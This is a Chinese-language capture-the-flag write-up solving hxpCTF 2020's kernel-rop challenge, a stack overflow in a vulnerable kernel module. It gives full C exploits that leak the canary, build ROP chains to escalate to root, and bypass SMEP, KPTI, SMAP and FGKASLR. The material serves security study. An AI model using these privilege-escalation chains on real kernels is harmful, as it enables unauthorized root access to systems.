Challenges
hxpCTF 2020 kernel-rop
已经同步到 gittee
先读取出 init 的文件系统
1 2 gunzip initramfs.cpio.gz mv vmlinuz vmlinux
设置 inittab 中 sh 权限为 root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ssize_t __fastcall hackme_write (file *f, const char *data, size_t size, loff_t *off) { unsigned __int64 v4; ssize_t size_1; int tmp[32 ]; unsigned __int64 v8; size_1 = v4; v8 = __readgsqword(0x28 u); if ( v4 > 0x1000 ) { _warn_printk("Buffer overflow detected (%d < %lu)!\n" , 4096LL , v4); BUG(); } _check_object_size(hackme_buf, v4, 0LL ); if ( copy_from_user(hackme_buf, data, size_1) ) [1 ] <<- 用户cp数据到 hackme_buf return -14LL ; _memcpy(tmp, hackme_buf); [2 ] <<- 溢出tmp return size_1; }
再看 read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ssize_t __fastcall hackme_read (file *f, char *data, size_t size, loff_t *off) { unsigned __int64 v4; unsigned __int64 size_1; bool v6; ssize_t result; int tmp[32 ]; unsigned __int64 v9; _fentry__(); size_1 = v4; v9 = __readgsqword(0x28 u); _memcpy(hackme_buf, tmp); [1 ] <<- 注意 tmp下面就是canary 可以泄漏 if ( size_1 > 0x1000 ) { _warn_printk("Buffer overflow detected (%d < %lu)!\n" , 4096LL , size_1); BUG(); } _check_object_size(hackme_buf, size_1, 1LL ); v6 = copy_to_user(data, hackme_buf, size_1) == 0 ; result = -14LL ; if ( v6 ) return size_1; return result; }
# 无 SMEP SMAP KPTI KASLR
removing +smep
, +smap
, kpti=1
, kaslr
and adding nopti
, nokaslr
.
1 2 3 4 5 6 7 8 9 10 11 12 # !/bin/sh qemu-system-x86_64 \ -m 256M \ -cpu kvm64 \ -kernel ./vmlinux \ -initrd ./initrd.modified.cpio \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nokpti quiet panic=1 nokaslr" \ -s
canary 和 tmp 的距离如下 memcpy 不是 0 截断 rdx 是由 size 给到的
1 2 -00000000000000 A0 tmp dd 32 dup(?)-0000000000000020 anonymous_0 dq ?
断到目标位置 截取 canary
1 2 3 4 5 ● 0xffffffffc0000046 mov rax, QWORD PTR gs:0x28 → 0xffffffffc000004f mov QWORD PTR [rbp-0x18 ], rax gef➤ p/x $rax $1 = 0xbced0c8930859900
泄漏出了 canary 后 查看 write 的汇编 和 useland 不同的是 这里弹了三个寄存器
1 2 3 4 .text.hackme_write:00000000000000 A8 pop rbx .text.hackme_write:00000000000000 A9 pop r12 .text.hackme_write:00000000000000 AB pop rbp .text.hackme_write:00000000000000 AC retn
至于这个偏移可以打入特殊值断点调试
最终要调用 swapgs 和 iretq
栈上要布局五个寄存器 (向下面这样)
1 2 3 4 5 6 7 8 ROP[i++] = a[SWAPGS_POP_RET]; ROP[i++] = 0 ; ROP[i++] = a[IRETQ]; ROP[i++] = (u64)getshell; ROP[i++] = user_cs; ROP[i++] = user_flags; ROP[i++] = user_sp; ROP[i++] = user_ss;
由于这题十分奇怪 各个操作的基址不停的在变化 所以需要通过别的途径来获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <fcntl.h> #include <sys/mman.h> #include <errno.h> #include <signal.h> #include <sys/syscall.h> #include <stdint.h> #include <sys/prctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <assert.h> #include "include/head.h" unsigned long long write_addr, read_addr;void getOpAddr () { if (getuid() == 0 ){ Info("root get operation addr" ); FILE * stream = popen("cat /proc/kallsyms | grep hackme_write | awk '{print $1}'" , "r" ); assert(stream != NULL ); char buf[0x20 ]; fread(buf, 0x10 , 1 ,stream); write_addr = strtoul(buf, NULL , 16 ); Info("write_addr = 0x%lx" , write_addr); stream = popen("cat /proc/kallsyms | grep hackme_read | awk '{print $1}'" , "r" ); assert(stream != NULL ); fread(buf, 0x10 , 1 ,stream); read_addr = strtoul(buf, NULL , 16 ); Info("read_addr = 0x%lx" , read_addr); } } void main () { getOpAddr(); }
然后栈溢出的操作比较简单
劫持 rip 到用户函数 先 cc (pkc) 提权
再跳转到 布局用户态寄存器 swapgs + iretq
上述操作的时候可以劫持 rip 返回 getShell 函数
# exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 typedef unsigned long long u64;int fd;u64 write_addr, read_addr; u64 user_cs,user_ss,user_sp,user_rflags; void saveState () { __asm__ __volatile__ ( "mov %cs, user_cs;" "mov %ss, user_ss;" "mov %rsp, user_sp;" "pushf;" "pop user_rflags;" ); Done("saveState" ); } void open_dev () { fd = open("/dev/hackme" , O_RDWR); if (fd < 0 ){ Panic("open_dev() failed" ); } Done("open_dev()" ); } void wtk (char *buf, u64 size) { Info("wtk start" ); write(fd, buf, size); Done("wtk" ); } void rfk (char *buf, u64 size) { Info("rfk start" ); read(fd, buf, size); Done("rfk" ); } void getOpAddr () { if (getuid() == 0 ){ Info("root get operation addr" ); FILE * stream = popen("cat /proc/kallsyms | grep hackme_write | awk '{print $1}'" , "r" ); assert(stream != NULL ); char buf[0x20 ]; fread(buf, 0x10 , 1 ,stream); write_addr = strtoul(buf, NULL , 16 ); Info("write_addr = 0x%lx" , write_addr); stream = popen("cat /proc/kallsyms | grep hackme_read | awk '{print $1}'" , "r" ); assert(stream != NULL ); fread(buf, 0x10 , 1 ,stream); read_addr = strtoul(buf, NULL , 16 ); Info("read_addr = 0x%lx" , read_addr); } Done("getOpAddr" ); } void getShell () { if (getuid() == 0 ){ Info("get shell now" ); system("/bin/sh" ); }else { Panic("getShell failed" ); } } u64 pkc = 0xffffffff814c67f0 ; u64 cc = 0xffffffff814c6410 ; u64 sh = (u64)getShell; void getRoot () { (* (int *(*)(void *))cc)((* (void *(*)(void *))pkc)(NULL )); ret2usr(); } void ret2usr () { __asm__( ".intel_syntax noprefix;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, sh;" "push r15;" "swapgs;" "iretq;" ".att_syntax;" ); } int main () { open_dev(); char buf[0x80 ]; char store[0x100 ]; memset (buf, '\xff' , 0x80 ); wtk(buf, 0x80 ); rfk(store,0x90 ); u64 *ptr = store; Dbg("store addr is 0x%lx" , store); Info("canary is 0x%lx" , ptr[2 ]); u64 canary = ptr[2 ]; u64 payload[50 ]; int off = 16 ; saveState(); payload[off++] = canary; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = getRoot; wtk(payload, off * 8 ); }
# 增加 SMEP
# ROP
开了 SMEP 就要 ROP 了
这是高版本的内核 没有 cr4 相关的 gadget 了
只能纯走 ROP 也就是 ROP 里 cc (pkc) 然后 swapgs 和 iretq
所以需要找类似 mov rdi, rax
的 gadget 或者 xchg
1 objdump -j .text -d ./vmlinux | grep iretq | head -3
-j, --section=NAME Only display information for section NAME
-d, --disassemble Display assembler contents of executable sections
用 j 可以指定特殊的节
就是 ROPgadget 找出来的 gadget 不是全在可执行区域 要找半天 有些还找不到
如果 gdb 里看到 int3 就是不可执行区域了
这里本来试了好多 gadgets 结果都因为不可执行没法用 最后只能用作者的
注意到第一个 cmp 只是为了标记 test 后的 flag 位(cmp 和 test 都标记 zf)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 int main () { open_dev(); char buf[0x80 ]; char store[0x100 ]; memset (buf, '\xff' , 0x80 ); wtk(buf, 0x80 ); rfk(store,0x90 ); u64 *ptr = store; Dbg("store addr is 0x%lx" , store); Info("canary is 0x%lx" , ptr[2 ]); u64 canary = ptr[2 ]; u64 payload[50 ]; int off = 16 ; u64 kernel_base = 0xffffffff80000000 ; u64 pop_rdx_ret = 0xffffffff81007616 ; u64 cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4 ; u64 mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3 ; u64 pop_rdi_ret = 0xffffffff81006370 ; u64 swapgs_pop1_ret = 0xffffffff8100a55f ; u64 iretq = 0xffffffff8100c0d9 ; saveState(); payload[off++] = canary; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = pop_rdi_ret; payload[off++] = 0 ; payload[off++] = pkc; payload[off++] = pop_rdx_ret; payload[off++] = 8 ; payload[off++] = cmp_rdx_jne_pop2_ret; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = mov_rdi_rax_jne_pop2_ret; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = cc; payload[off++] = swapgs_pop1_ret; payload[off++] = 0 ; payload[off++] = iretq; payload[off++] = getShell; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; wtk(payload, off * 8 ); }
# Stack Pivot
基本按照博客思路 copy 一遍(
首先找到一个能移动一个常数给 esp 的(给 esp 是因为到用户空间 高位会清零
1 mov_esp_pop2_ret = 0xffffffff8196f56a ;
然后就是 mmap 开内存到上面 mov 给 esp 增长的地方
主要注意一点 因为 rsp 可增可见 所以上下的偏移都要留足
然后记得都写点内容触发下换页 免得出现中断又切回内核了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 u64 kernel_base = 0xffffffff80000000 ; u64 pop_rdx_ret = 0xffffffff81007616 ; u64 cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4 ; u64 mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3 ; u64 pop_rdi_ret = 0xffffffff81006370 ; u64 swapgs_pop1_ret = 0xffffffff8100a55f ; u64 iretq = 0xffffffff8100c0d9 ; u64 mov_esp_pop2_ret = 0xffffffff8196f56a ; void StackPivot (u64 canary) { u64 *p = mmap( (void *)0x5b000000 - 0x1000 , 0x2000 , PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1 , 0 ); u64 off = 0x1000 /8 ; p[1 ] = 0xdeedbeaf ; p[off++] = 0 ; p[off++] = 0 ; p[off++] = pop_rdi_ret; p[off++] = 0 ; p[off++] = pkc; p[off++] = pop_rdx_ret; p[off++] = 8 ; p[off++] = cmp_rdx_jne_pop2_ret; p[off++] = 0 ; p[off++] = 0 ; p[off++] = mov_rdi_rax_jne_pop2_ret; p[off++] = 0 ; p[off++] = 0 ; p[off++] = cc; p[off++] = swapgs_pop1_ret; p[off++] = 0 ; p[off++] = iretq; p[off++] = getShell; p[off++] = user_cs; p[off++] = user_rflags; p[off++] = user_sp; p[off++] = user_ss; Done("StackPivot" ); } int main () { open_dev(); char buf[0x80 ]; char store[0x100 ]; memset (buf, '\xff' , 0x80 ); wtk(buf, 0x80 ); rfk(store,0x90 ); u64 *ptr = store; Dbg("store addr is 0x%lx" , store); Info("canary is 0x%lx" , ptr[2 ]); u64 canary = ptr[2 ]; u64 payload[50 ]; int off = 16 ; saveState(); payload[off++] = canary; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = mov_esp_pop2_ret; StackPivot(canary); wtk(payload, off * 8 ); }
# 增加 KPTI
KPTI 在文章里写的很清楚 在用户态只能用 userland 的页表和 minimal 的内核页表了
本人没找到较好的说明文章,我觉得是这个 minimal 中只包含 swapgs_restore_regs_and_return_to_usermode
这个 gadget 了,
而不包含之前的 swapgs_pop1_ret
.
也就是没法实现类似 函数调用一样的用户列表切换到内核区域去执行和某些 ROP 的情况了
1 2 3 4 void getRoot () { (* (int *(*)(void *))cc)((* (void *(*)(void *))pkc)(NULL )); ret2usr(); }
作者提到了两种办法 此外还有一种格外的方法
一种是用 signal handler
去 hook 掉这个 SIGSEGV
信号 在 signal 里面进行内核函数的执行却不会触发
另外的是 KPTI trampoline
也就是复用内核中交换页表的 gadget 再次换回来(gs 寄存器控制内核页表)
用控制 cr3 的 gadgets 去 把 cr3 或上 0x1000
内核态的页表是全的 用户态页表才是残缺的
也就是之前学过的这个 gadgets 不过这里略微不同 对于开了 kpti 的程序是这样的(至于为什么会不用原先的,我也没弄明白,
因为我实际调试的时候发现 cr3 没变)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode -> ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode 0xffffffff81200f26 : mov rdi,rsp [1 ] <<- 先把rsp给到rdi 0xffffffff81200f29 : mov rsp,QWORD PTR gs:0x6004 [2 ] <<- 然后复制新的rsp push都在新rsp上 0xffffffff81200f32 : push QWORD PTR [rdi+0x30 ] 0xffffffff81200f35 : push QWORD PTR [rdi+0x28 ] 0xffffffff81200f38 : push QWORD PTR [rdi+0x20 ] 0xffffffff81200f3b : push QWORD PTR [rdi+0x18 ] 0xffffffff81200f3e : push QWORD PTR [rdi+0x10 ] 0xffffffff81200f41 : push QWORD PTR [rdi] [3 ] <<- 原先rsp的内容在栈上 0xffffffff81200f43 : push rax 0xffffffff81200f44 : jmp 0xffffffff81200f89 (···) 0xffffffff81200f89 : pop rax [4 ] <<- rax就是原先push的rax 没有变化 0xffffffff81200f8a : pop rdi [5 ] <<- rsp为之前rsp的解引用了 0xffffffff81200f8b : swapgs 0xffffffff81200f8e : data16 xchg ax,ax 0xffffffff81200f91 : jmp 0xffffffff81200fc0 (···) 0xffffffff81200fc0 : test BYTE PTR [rsp+0x20 ],0x4 0xffffffff81200fc5 : jne 0xffffffff81200fc9 0xffffffff81200fc7 : iretq
这里作者解释错了 对于 swapgs_restore_regs_and_return_to_usermode
真正给出两个 dummy 的并不是两个 pop,
这里压入 6 个寄存器,而只弹出了两个然后剩下的 [rdi+0x10]
开始才是真的 rip|cs|rflag|sp|ss
, 所以当 rsp 指向如下位置的时候,
rsp+0x10
正是 rip 的位置,这两个 0dummy 是占位,并不是所说的两个 pop。
1 2 3 4 5 6 7 8 payload[off++] = kpti_trampoline; payload[off++] = 0 ; <- rsp payload[off++] = 0 ; payload[off++] = ret; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss;
[[swapgs_restore_regs_and_return_to_usermode]]
用户态进入内核态会调用 SWITCH_KERNEL_CR3_NO_STACK
从用户态切换到内核态
也就是清零 12 位和 13 位
1 2 3 4 5 6 7 8 mov rdi, cr3 nop nop nop nop nop and rdi, 0xFFFFFFFFFFFFE7FF mov cr3, rdi
而在从内核态返回用户态时会调用 SWITCH_USER_CR3
宏来切换 CR3
,如下所示:
1 2 3 mov rdi, cr3 or rdi, 1000 h mov cr3, rdi
# exp1 - trampoline
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 u64 kernel_base = 0xffffffff80000000 ; u64 pop_rdx_ret = 0xffffffff81007616 ; u64 cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4 ; u64 mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3 ; u64 pop_rdi_ret = 0xffffffff81006370 ; u64 swapgs_pop1_ret = 0xffffffff8100a55f ; u64 iretq = 0xffffffff8100c0d9 ; u64 mov_esp_pop2_ret = 0xffffffff8196f56a ; u64 kpti_trampoline = 0xffffffff81200f10 +22 ; int main () { open_dev(); char buf[0x80 ]; char store[0x100 ]; memset (buf, '\xff' , 0x80 ); wtk(buf, 0x80 ); rfk(store,0x90 ); u64 *ptr = store; Dbg("store addr is 0x%lx" , store); Info("canary is 0x%lx" , ptr[2 ]); u64 canary = ptr[2 ]; u64 payload[50 ]; int off = 16 ; saveState(); Info("Bypass kpti" ); payload[off++] = canary; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = pop_rdi_ret; payload[off++] = 0 ; payload[off++] = pkc; payload[off++] = pop_rdx_ret; payload[off++] = 8 ; payload[off++] = cmp_rdx_jne_pop2_ret; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = mov_rdi_rax_jne_pop2_ret; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = cc; payload[off++] = kpti_trampoline; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = getShell; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; wtk(payload, off * 8 ); }
# exp2 - signal SIGSEGV
在开启 KPTI 内核,提权返回到用户态(iretq/sysret)之前如果不设置 CR3 寄存器的值,
就会导致进程找不到当前程序的正确页表,引发段错误,程序退出。
不过可以用 signal hook 掉这个信号 实现 getshell。
其实只是简单的在普通没开 KPTI 的 swapgs/iretq
的基础上加一行 signal(SIGSEGV, getShell);
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 void getShell () { if (getuid() == 0 ){ Info("get shell now" ); system("/bin/sh" ); }else { Panic("getShell failed" ); } } int main () { signal(SIGSEGV, getShell); open_dev(); char store[0x100 ]; rfk(store,0x90 ); u64 *ptr = store; Dbg("store addr is 0x%lx" , store); Info("canary is 0x%lx" , ptr[2 ]); u64 canary = ptr[2 ]; u64 payload[50 ]; int off = 16 ; u64 kernel_base = 0xffffffff80000000 ; u64 pop_rdx_ret = 0xffffffff81007616 ; u64 cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4 ; u64 mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3 ; u64 pop_rdi_ret = 0xffffffff81006370 ; u64 swapgs_pop1_ret = 0xffffffff8100a55f ; u64 iretq = 0xffffffff8100c0d9 ; saveState(); payload[off++] = canary; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = pop_rdi_ret; payload[off++] = 0 ; payload[off++] = pkc; payload[off++] = pop_rdx_ret; payload[off++] = 8 ; payload[off++] = cmp_rdx_jne_pop2_ret; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = mov_rdi_rax_jne_pop2_ret; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = cc; payload[off++] = swapgs_pop1_ret; payload[off++] = 0 ; payload[off++] = iretq; payload[off++] = getShell; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; wtk(payload, off * 8 ); }
# 增加 SMAP
Supervisor Mode Access Prevention
marks all the userland pages in the page table as non-accessible when the process is in kernel-mode,
by setting the 21st bit
of Control Register CR4
.
对用户态的一切读写都将失效,
对 ROP 依旧也用,但是栈迁移不行了
# 再加上 KASLR 保护开满
其实我觉得就多泄漏一个 base 之外和之前的 ROP 没啥区别了,不过事情没我想的这么简单
这里其实还有个保护 叫做 Function Granular KASLR
会打乱函数到内核基址的偏移,也就是上面遇到的 rearrange
FGKASLR - CTF Wiki
根据 wiki 和文章 可以得知
__ksymtab 不会参与随机化
.data 不会参与随机化
The functions from _text
base to __x86_retpoline_r15
, which is _text+0x400dc6
are unaffected.
这个段落包括
swapgs_restore_regs_and_return_to_usermode,该部分的代码可以帮助我们绕过 KPTI 防护
memcpy 内存拷贝
sync_regs,可以把 RAX 放到 RDI 中
不会参与随机化的部分 有以下的 gadgets
1 2 3 u64 pop_rax_ret = kernel_base + 0x4d11 ; u64 read_mem_pop1_ret = kernel_base + 0x4aae ; u64 pop_rdi_rbp_ret = kernel_base + 0x38a0 ;
1 和 2 的 gadget 构成了任意地址读写的 primitive
对于 kernel_table
, 就是 ksymtab
里的每一项,这个到内核基址是固定的。
他记录的符号表的偏移(通过 ksymtab 看到的)
1 2 3 4 5 struct kernel_symbol { int value_offset; [1 ] <<- 真正有用的 int name_offset; int namespace_offset; };
sync_regs 如下
1 2 3 4 5 6 7 8 9 10 11 12 0xffffffff8100aec0 : push rbp0xffffffff8100aec1 : mov rbp,rsp0xffffffff8100aec4 : mov rax,QWORD PTR gs:[rip+0x7effb140 ] # 0x600c 0xffffffff8100aecc : sub rax,0xa8 0xffffffff8100aed2 : cmp rax,rdi0xffffffff8100aed5 : je 0xffffffff8100aee5 0xffffffff8100aed7 : mov rsi,rdi0xffffffff8100aeda : mov ecx,0x15 0xffffffff8100aedf : mov rdi,rax [1 ] <<- 个人觉得从这里开始比较好0xffffffff8100aee2 : rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]0xffffffff8100aee5 : pop rbp0xffffffff8100aee6 : ret
通过不断的调整位置 打印寻找 终于找到了合适的地址 leak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 / $ ./exp [+] saveState done [+] open_dev() done [*] rfk start [+] rfk done [*] canary is 0x9292ebeb2e24af00 p[1 ] : 0x19 p[10 ] : 0xffffffff8184e047 p[11 ] : 0xffffffff8184e047 p[20 ] : 0xffffffff816d51ff p[27 ] : 0xffffffff816d5727 p[28 ] : 0xffffffff8152b8a1 p[38 ] : 0xffffffff8100a157 <<- 这逼东西 p[51 ] : 0x19 p[56 ] : 0x3 p[59 ] : 0x33
这里构造了两个原语 一个实现任意地址读写的原语 一个实现了 f (x) 的函数调用的原语,
分别是用来读取 ksymtab
和实现 cc(pkc)
的。
# 两个原语
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void read_from_addr_primitive (char *addr, void (*f)()) { u64 payload[0x40 ]; u64 off = 16 ; payload[off++] = canary; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = pop_rax_ret; payload[off++] = addr - 0x10 ; payload[off++] = read_mem_pop1_ret; payload[off++] = 0 ; payload[off++] = kpti_trampoline; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = f; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; wtk(payload, off * 8 ); Done("read_from_addr_primitive" ); }
这里会将 rax 作为指定内存读出来的地址,也就是 kernel_symbol
中的 value_offset
值,
然后和对应的 __ksymtab_symname
的地址加起来就是我们要的最终函数的偏移。
由于是 rip 直接切换为 f 没有在栈上留下返回地址 所以这个是不能返回的 也就是 Done 这个函数压根执行不到。
所以只能层层递归套娃。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void fn_rdi_ret_primitive (void (*fn)(), u64 rdi, void (*ret)()) { u64 payload[0x40 ]; u64 off = 16 ; payload[off++] = canary; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = pop_rdi_rbp_ret; payload[off++] = rdi; payload[off++] = 0 ; payload[off++] = fn; payload[off++] = kpti_trampoline; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = ret; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; wtk(payload, off * 8 ); Done("fn_rdi_ret_primitive" ); }
这种只要有能控制 rdi 的 gadget 就行, 然后两个原语每次读出来的值都用 rax 保存后用汇编给到我们的指定寄存器。
对于 prepare_kernel_cred
, 返回的是一个 cred
结构体,可以用临时变量存储即可。然后注意一点,rax 弄好了就别打印输出东西了,
否则会毁坏掉 rax 的内容。
这里还一个疑点, kpti_trampoline
之后有个 pop rax ,会破坏掉原语创造的 rax
# exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <fcntl.h> #include <sys/mman.h> #include <errno.h> #include <signal.h> #include <sys/syscall.h> #include <stdint.h> #include <sys/prctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <assert.h> #include "include/head.h" #define PAGE_SIZE 1024 typedef unsigned long long u64;int fd;u64 write_addr, read_addr; u64 user_cs,user_ss,user_sp,user_rflags; void (*rfap)(char *, void (*)());void (*frrp)(void (*)(), u64, void (*)());void saveState () { __asm__ __volatile__ ( "mov %cs, user_cs;" "mov %ss, user_ss;" "mov %rsp, user_sp;" "pushf;" "pop user_rflags;" ); Done("saveState" ); } void open_dev () { fd = open("/dev/hackme" , O_RDWR); if (fd < 0 ){ Panic("open_dev() failed" ); } Done("open_dev()" ); } void wtk (char *buf, u64 size) { Info("wtk start" ); write(fd, buf, size); Done("wtk" ); } void rfk (char *buf, u64 size) { Info("rfk start" ); read(fd, buf, size); Done("rfk" ); } void getShell () { if (getuid() == 0 ){ Info("get shell now" ); system("/bin/sh" ); }else { Panic("getShell failed" ); } } u64 sh = (u64)getShell; u64 kernel_base = 0xffffffff80000000 ; u64 kpti_trampoline = 0x200f10 +22 ; u64 pop_rax_ret = 0x4d11 ; u64 read_mem_pop1_ret = 0x4aae ; u64 pop_rdi_rbp_ret = 0x38a0 ; u64 canary = 0 ; u64 ksymtab_prepare_kernel_cred = 0xf8d4fc ; u64 ksymtab_commit_creds = 0xf87d90 ; u64 tmp_rax; void print_leak (u64 *p, u64 n) { for (u64 i = 0 ; i < n; i++){ if (p[i] & 0xffffffff81000000 == 0xffffffff81000000 ) printf ("p[%d] : 0x%lx\n" , i, p[i]); } } void leak () { Info("leak" ); char store[0x300 ]; rfk(store,0x1f0 ); u64 *ptr = store; Info(" --> canary is 0x%lx" , ptr[2 ]); canary = ptr[2 ]; kernel_base = ptr[38 ] - 0xa157 ; Info(" --> kernel_base is 0x%lx" ,kernel_base); u64 payload[50 ]; pop_rdi_rbp_ret += kernel_base; pop_rax_ret += kernel_base; read_mem_pop1_ret += kernel_base; kpti_trampoline += kernel_base; ksymtab_prepare_kernel_cred += kernel_base; ksymtab_commit_creds += kernel_base; Done("leak" ); } void read_from_addr_primitive (char *addr, void (*f)()) { u64 payload[0x40 ]; u64 off = 16 ; payload[off++] = canary; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = pop_rax_ret; payload[off++] = addr - 0x10 ; payload[off++] = read_mem_pop1_ret; payload[off++] = 0 ; payload[off++] = kpti_trampoline; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = f; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; wtk(payload, off * 8 ); Done("read_from_addr_primitive" ); } void fn_rdi_ret_primitive (void (*fn)(), u64 rdi, void (*ret)()) { u64 payload[0x40 ]; u64 off = 16 ; payload[off++] = canary; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = pop_rdi_rbp_ret; payload[off++] = rdi; payload[off++] = 0 ; payload[off++] = fn; payload[off++] = kpti_trampoline; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = ret; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; wtk(payload, off * 8 ); Done("fn_rdi_ret_primitive" ); } u64 pkc; void get_cc_addr () ;void get_pkc_addr () { __asm__ __volatile__( ".intel_syntax noprefix;" "mov tmp_rax, rax;" ".att_syntax;" ); pkc = ksymtab_prepare_kernel_cred + (int )tmp_rax; Dbg(" --> pkc tmp_rax is 0x%x" ,(int ) tmp_rax); Info(" --> pkc is 0x%lx" , pkc); rfap(ksymtab_commit_creds, get_cc_addr); Done("get_pkc_addr" ); } u64 cc; void done_pkc () ;void get_cc_addr () { __asm__ __volatile__( ".intel_syntax noprefix;" "mov tmp_rax, rax;" ".att_syntax;" ); cc = ksymtab_commit_creds + (int )tmp_rax; Dbg(" --> cc tmp_rax is 0x%x" ,tmp_rax); Info(" --> cc is 0x%lx" , cc); frrp(pkc, NULL , done_pkc); Done("get_cc_addr" ); } u64 cc_struct; void done_pkc () { __asm__ __volatile__( ".intel_syntax noprefix;" "mov tmp_rax, rax;" ".att_syntax;" ); cc_struct = tmp_rax; Info(" --> cc_struct is 0x%lx" , cc_struct); frrp(cc, cc_struct, sh); } void (*rfap)(char *, void (*)()) = read_from_addr_primitive;void (*frrp)(void (*)(), u64, void (*)()) = fn_rdi_ret_primitive;int main () { saveState(); open_dev(); leak(); rfap(ksymtab_prepare_kernel_cred, get_pkc_addr); }
# exp2
modprobe_path 不再赘述
